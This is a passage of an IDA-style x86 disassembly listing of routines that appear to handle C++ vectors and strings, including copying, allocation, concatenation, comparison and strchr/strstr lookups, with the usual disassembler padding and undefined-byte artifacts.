		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4097AB:				; CODE XREF: sub_4096E0+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_409809
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4016E0
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_401177
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401FB4
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409809:				; CODE XREF: sub_4096E0+D8j
		test	edi, edi
		jbe	short loc_409843
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4016E0
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_401CDF
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401FB4
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_409843:				; CODE XREF: sub_4096E0+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_4096E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4098B0	proc near		; CODE XREF: sub_401717j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_4098D0


loc_4098C1:				; CODE XREF: sub_4098B0+1Ej
		push	esi
		mov	ecx, edi
		call	sub_402090
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_4098C1


loc_4098D0:				; CODE XREF: sub_4098B0+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4098B0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4098F0	proc near		; CODE XREF: sub_401294j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_4098F0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409910	proc near		; CODE XREF: sub_402090j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_7
		pop	ecx
		retn	4
sub_409910	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409930	proc near		; CODE XREF: sub_4016E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_409962
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_409946:				; CODE XREF: sub_409930+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_4015B4
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_409946
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409962:				; CODE XREF: sub_409930+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_409930	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409980	proc near		; CODE XREF: sub_401177j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_4099A7
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_409996:				; CODE XREF: sub_409980+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_4015B4
		add	esi, 4
		dec	edi
		jnz	short loc_409996
		pop	esi
		pop	ebx


loc_4099A7:				; CODE XREF: sub_409980+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_409980	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4099C0	proc near		; CODE XREF: sub_401CC1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_402059
sub_4099C0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4099F0	proc near		; CODE XREF: sub_4015B4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401145
		add	esp, 8
		retn	8
sub_4099F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A20	proc near		; CODE XREF: sub_401FB4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_409A3D
		mov	edx, [esp+arg_8]
		push	esi


loc_409A31:				; CODE XREF: sub_409A20+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_409A31
		pop	esi

locret_409A3D:				; CODE XREF: sub_409A20+Aj
		retn
sub_409A20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A50	proc near		; CODE XREF: sub_401CDFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_409A72
		mov	eax, [esp+arg_8]
		push	esi


loc_409A61:				; CODE XREF: sub_409A50+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_409A61
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409A72:				; CODE XREF: sub_409A50+Aj
		mov	eax, [esp+arg_8]
		retn
sub_409A50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409AB0	proc near		; CODE XREF: sub_402059j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_409ABA
		xor	eax, eax


loc_409ABA:				; CODE XREF: sub_409AB0+6j
		shl	eax, 2
		push	eax
		call	sub_437AEA
sub_409AB0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409AE0	proc near		; CODE XREF: sub_401145j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_409AFB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_409AFB:				; CODE XREF: sub_409AE0+11j
		retn
sub_409AE0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B10	proc near		; CODE XREF: sub_401988j

arg_0		= dword	ptr  4

		mov	al, byte_44916A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409B46
		push	edi
		nop
		call	near ptr 28218B0h
		mov	edi, dword_5118CC
		push	0FFFFFFF5h
		call	edi
		push	0FFFFFFF4h
		mov	[esi], eax
		call	edi
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], eax
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409B46:				; CODE XREF: sub_409B10+Aj
		mov	ecx, [esp+4+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], ecx
		pop	esi
		retn	4
sub_409B10	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B80	proc near		; CODE XREF: sub_401CEEj
		mov	al, byte_44916A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409B9F
		nop
		call	near ptr 2821BF6h
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0FFFFFFFFh


loc_409B9F:				; CODE XREF: sub_409B80+Aj
		mov	byte ptr [esi+8], 0
		pop	esi
		retn
sub_409B80	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409BC0	proc near		; CODE XREF: sub_40142Ej
		mov	eax, ecx
		xor	ecx, ecx
		mov	dword ptr [eax], offset	off_43F010
		mov	[eax+9], ecx
		mov	[eax+11h], ecx
		mov	[eax+4], cl
		mov	[eax+0Dh], ecx
		retn
sub_409BC0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409BF0:				; CODE XREF: ___:00402081j
					; ___:loc_40218Fj
		push	esi
		mov	esi, ecx
		call	sub_401226
		test	byte ptr [esp+8], 1
		jz	short loc_409C08
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409C08:				; CODE XREF: ___:00409BFDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C20	proc near		; CODE XREF: sub_401870j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43F010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015E1
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409C20	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C60	proc near		; CODE XREF: sub_4014D3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43F010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_401FDC
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409C60	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409CA0	proc near		; CODE XREF: sub_402112j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+1Ch+var_10]
		push	offset dword_4447F4
		push	ecx
		mov	dword ptr [esi], offset	off_43F010
		nop
		call	sub_5F74D1
		add	esp, 0Ch
		lea	edx, [esp+18h+var_10]
		xor	ebx, ebx
		mov	ecx, esi
		push	edx
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015E1
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn	4
sub_409CA0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D10	proc near		; CODE XREF: sub_401226j
		push	esi
		mov	esi, ecx
		push	edi
		xor	edi, edi
		mov	eax, [esi+9]
		mov	dword ptr [esi], offset	off_43F010
		cmp	eax, edi
		jz	short loc_409D2C
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D2C:				; CODE XREF: sub_409D10+11j
		mov	eax, [esi+0Dh]
		mov	[esi+9], edi
		cmp	eax, edi
		jz	short loc_409D3F
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D3F:				; CODE XREF: sub_409D10+24j
		mov	[esi+0Dh], edi
		mov	[esi+11h], edi
		pop	edi
		pop	esi
		retn
sub_409D10	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D60	proc near		; CODE XREF: sub_4015E1j

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		test	edi, edi
		jz	short loc_409DCA
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+9]
		not	ecx
		dec	ecx
		test	eax, eax
		mov	ebp, ecx
		jz	short loc_409D8A
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D8A:				; CODE XREF: sub_409D60+1Fj
		lea	ebx, [ebp+2]
		push	ebx
		call	sub_437AEA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F8h, 7E89FF85h,	8B2B7409h, 8BC033CBh, 116E89D1h
		dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch
		dd 51500956h, 0C9E89052h, 837783DCh
		db 0C4h, 0Ch
; ---------------------------------------------------------------------------


loc_409DCA:				; CODE XREF: sub_409D60+Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409D60	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409E00	proc near		; CODE XREF: sub_401FDCj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		pop	esi
		retn	4
sub_409E00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409E30:				; CODE XREF: ___:00401A5Aj
		mov	eax, [esp+4]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		push	offset dword_4447F4
		push	ecx
		nop
		call	sub_5F74D1
		add	esp, 0Ch
		lea	edx, [esp+4]
		mov	ecx, esi
		push	edx
		call	sub_4015E1
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409E80	proc near		; CODE XREF: sub_401AAFj

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	ebx, ecx
		test	edi, edi
		jz	loc_409F12
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [ebx+11h]
		not	ecx
		dec	ecx
		mov	esi, ecx
		add	esi, edi
		lea	eax, [esi+1]
		push	eax
		call	sub_437AEA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+9]
		add	esp, 4
		test	edi, edi
		mov	ebp, eax
		jz	short loc_409F12
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+11h], esi
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edi, [esp+10h+arg_0]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	edx, ecx
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, edx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx+9]
		test	eax, eax
		jz	short loc_409F0F
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409F0F:				; CODE XREF: sub_409E80+84j
		mov	[ebx+9], ebp


loc_409F12:				; CODE XREF: sub_409E80+Cj
					; sub_409E80+36j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409E80	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F50	proc near		; CODE XREF: sub_4016C7j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_401AAF
		pop	esi
		retn	4
sub_409F50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F80	proc near		; CODE XREF: sub_401140j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+18h+var_10]
		push	offset dword_4447F4
		push	ecx
		call	sub_5F74D1
		nop
		add	esp, 0Ch
		lea	edx, [esp+14h+var_10]
		mov	ecx, esi
		push	edx
		call	sub_401AAF
		pop	esi
		add	esp, 10h
		retn	4
sub_409F80	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409FD0	proc near		; CODE XREF: sub_4012EEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_409FE7
		mov	edx, [ecx+9]
		xor	eax, eax
		test	edx, edx
		setnz	al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409FE7:				; CODE XREF: sub_409FD0+7j
		mov	eax, [ecx+9]
		push	ebx


loc_409FEB:				; CODE XREF: sub_409FD0+3Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_40A016
		test	cl, cl
		jz	short loc_40A00F
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_40A016
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_409FEB


loc_40A00F:				; CODE XREF: sub_409FD0+27j
		pop	ebx
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40A016:				; CODE XREF: sub_409FD0+23j
					; sub_409FD0+33j
		sbb	eax, eax
		pop	ebx
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn	4
sub_409FD0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A040	proc near		; CODE XREF: sub_401B86j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_40A040	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A070	proc near		; CODE XREF: sub_40150Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short loc_40A083
		mov	edx, [ecx+9]
		test	edx, edx
		setnz	al
		retn	4
; ---------------------------------------------------------------------------


loc_40A083:				; CODE XREF: sub_40A070+6j
		push	eax
		mov	eax, [ecx+9]
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		retn	4
sub_40A070	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0B0	proc near		; CODE XREF: sub_4021D0j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_40A0B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0E0	proc near		; CODE XREF: sub_401CD0j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9]
		test	eax, eax
		jz	short loc_40A0F3
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A0F3:				; CODE XREF: sub_40A0E0+8j
		mov	dword ptr [esi+9], 0
		pop	esi
		retn
sub_40A0E0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A110	proc near		; CODE XREF: sub_40102Dj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_437B30
		mov	eax, [esp+arg_2004]
		test	eax, eax
		jz	short loc_40A152
		lea	ecx, [esp+arg_2008]
		lea	edx, [esp+0]
		push	ecx
		push	eax
		push	2000h
		push	edx
		call	near ptr 77C3FF8Ah
		nop
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_4015E1


loc_40A152:				; CODE XREF: sub_40A110+13j
		add	esp, 2000h
		retn
sub_40A110	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A180	proc near		; CODE XREF: sub_401D34j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401316
		retn	4
sub_40A180	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1A0	proc near		; CODE XREF: sub_401316j

arg_0		= byte ptr  4

		push	ebx
		mov	ebx, dword_511AEC
		push	esi
		push	edi
		movsx	edi, [esp+0Ch+arg_0]
		mov	esi, ecx
		push	edi
		mov	eax, [esi+9]
		push	eax
		call	ebx	; strchr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A1C4
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A1C4:				; CODE XREF: sub_40A1A0+1Cj
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strchr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A1A0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1F0	proc near		; CODE XREF: sub_4018B1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401816
		retn	4
sub_40A1F0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A210	proc near		; CODE XREF: sub_401816j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_402135
		pop	esi
		retn	8
sub_40A210	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A240	proc near		; CODE XREF: sub_4013EDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_402135
		retn	4
sub_40A240	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A260	proc near		; CODE XREF: sub_402135j

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		test	edi, edi
		mov	esi, ecx
		jnz	short loc_40A275
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A275:				; CODE XREF: sub_40A260+Bj
		mov	eax, [esi+9]
		mov	ebx, dword_511B04
		push	edi
		push	eax
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A28F
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A28F:				; CODE XREF: sub_40A260+27j
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strstr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A260	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A2D0	proc near		; CODE XREF: sub_401C71j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		test	edi, edi
		jnz	short loc_40A2E3
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40A2E3:				; CODE XREF: sub_40A2D0+Aj
		mov	eax, [esi+9]
		mov	[esi+11h], edi
		test	eax, eax
		jz	short loc_40A2F6
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A2F6:				; CODE XREF: sub_40A2D0+1Bj
		push	ebx
		lea	ebx, [edi+1]
		push	ebx
		call	sub_437AEA
sub_40A2D0	endp

; ---------------------------------------------------------------------------
		mov	ecx, ebx
		mov	edi, eax
		mov	edx, ecx
		xor	eax, eax
		shr	ecx, 2
		mov	[esi+9], edi
		add	esp, 4
		rep stosd
		mov	ecx, edx
		pop	ebx
		and	ecx, 3
		rep stosb
		mov	eax, [esi+9]
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A350	proc near		; CODE XREF: sub_4013E3j
		mov	eax, [ecx+11h]
		retn
sub_40A350	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A370	proc near		; CODE XREF: sub_4012B2j

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A370
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebp
		mov	ebp, [esp+30h+arg_8]
		push	esi
		xor	esi, esi
		cmp	ebp, 1
		mov	[esp+34h+var_2C], ecx
		mov	[esp+34h+var_28], esi
		jge	short loc_40A3C2
		mov	esi, [esp+34h+arg_0]
		push	offset byte_448F40
		mov	ecx, esi
		call	sub_401870
		mov	eax, esi
		pop	esi
		pop	ebp
		mov	ecx, [esp+2Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A3C2:				; CODE XREF: sub_40A370+2Bj
		push	ebx
		push	edi
		lea	ecx, [esp+3Ch+var_24]
		call	sub_40142E
		mov	[esp+3Ch+var_4], esi
		lea	esi, [ebp+1]
		push	esi
		call	sub_437AEA
sub_40A370	endp

; ---------------------------------------------------------------------------
		mov	ecx, esi
		mov	ebx, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		add	esp, 4
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		mov	edx, [esp+44h]
		and	ecx, 3
		push	ebx
		rep stosb
		mov	eax, [esp+14h]
		mov	ecx, ebp
		mov	edi, ebx
		mov	esi, [eax+9]
		add	esi, edx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+1Ch]
		call	sub_4015E1
		push	ebx
		call	sub_437AD2
; ---------------------------------------------------------------------------
